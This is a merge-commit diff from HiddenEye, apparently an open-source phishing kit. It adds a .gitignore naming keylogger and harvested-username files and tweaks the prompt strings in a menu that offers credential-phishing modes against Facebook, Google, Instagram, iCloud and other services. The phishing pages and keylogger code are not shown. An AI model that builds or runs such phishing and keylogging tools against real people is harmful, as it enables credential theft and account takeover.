Merge pull request #137 from DarkSecDevelopers/stikyt-dev-branch

Stikyt dev branch
This commit is contained in:
Artur Tretiak 2018-10-30 16:26:29 +02:00 committed by GitHub
commit ddd30b8dea
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 44 additions and 16 deletions

28
.gitignore vendored Normal file
View File

@ -0,0 +1,28 @@
*.pyc
link\.url
log\.txt
Server/ngrok
Server/www/index\.html
Server/www/ip\.php
Server/www/ip\.txt
Server/www/keylogger\.js
Server/www/keylogger\.php
Server/www/KeyloggerData\.txt
Server/www/login\.php
Server/www/mobile\.html
Server/www/usernames\.txt
Settings\.ini

View File

@ -145,21 +145,21 @@ def runMainMenu(): #menu where user select what they wanna use
for i in range(101): for i in range(101):
sleep(0.05) sleep(0.05)
stdout.write("\r{0}[{1}*{0}]{1} Eye is Opening. Please Wait... %d%%".format(RED, DEFAULT) % i) stdout.write("\r{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%".format(RED, DEFAULT) % i)
stdout.flush() stdout.flush()
if input("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n{2}HiddenEye>>> {1}".format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes if input("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n{2}HiddenEye >>> {1}".format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes
system('clear') system('clear')
print ('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n'.format(RED, DEFAULT)) print ('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n'.format(RED, DEFAULT))
exit(0) exit(0)
option = input("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) option = input("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT))
if option == '1': if option == '1':
loadModule('Facebook') loadModule('Facebook')
customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT))
runPhishing('Facebook', customOption) runPhishing('Facebook', customOption)
elif option == '2': elif option == '2':
loadModule('Google') loadModule('Google')
customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT))
runPhishing('Google', customOption) runPhishing('Google', customOption)
elif option == '3': elif option == '3':
loadModule('LinkedIn') loadModule('LinkedIn')
@ -183,7 +183,7 @@ def runMainMenu(): #menu where user select what they wanna use
runPhishing('Twitter', customOption) runPhishing('Twitter', customOption)
elif option == '8': elif option == '8':
loadModule('Instagram') loadModule('Instagram')
customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT))
runPhishing('Instagram', customOption) runPhishing('Instagram', customOption)
elif option == '9': elif option == '9':
loadModule('Snapchat') loadModule('Snapchat')
@ -207,7 +207,7 @@ def runMainMenu(): #menu where user select what they wanna use
runPhishing('Steam', customOption) runPhishing('Steam', customOption)
elif option == '14': elif option == '14':
loadModule('VK') loadModule('VK')
customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}HiddenEye>>> {1}".format(RED, DEFAULT)) customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT))
runPhishing('VK', customOption) runPhishing('VK', customOption)
elif option == '15': elif option == '15':
loadModule('iCloud') loadModule('iCloud')

View File

@ -24,7 +24,7 @@ if checkConnection() == False:
{0}[{1}!{0}]{1} Network error. Verify your connection.\n {0}[{1}!{0}]{1} Network error. Verify your connection.\n
'''.format(RED, DEFAULT)) '''.format(RED, DEFAULT))
exit(0) exit(0)
def checkNgrok(): #Ngrok check def checkNgrok(): #Ngrok check
if path.isfile('Server/ngrok') == False: #Is Ngrok downloaded? if path.isfile('Server/ngrok') == False: #Is Ngrok downloaded?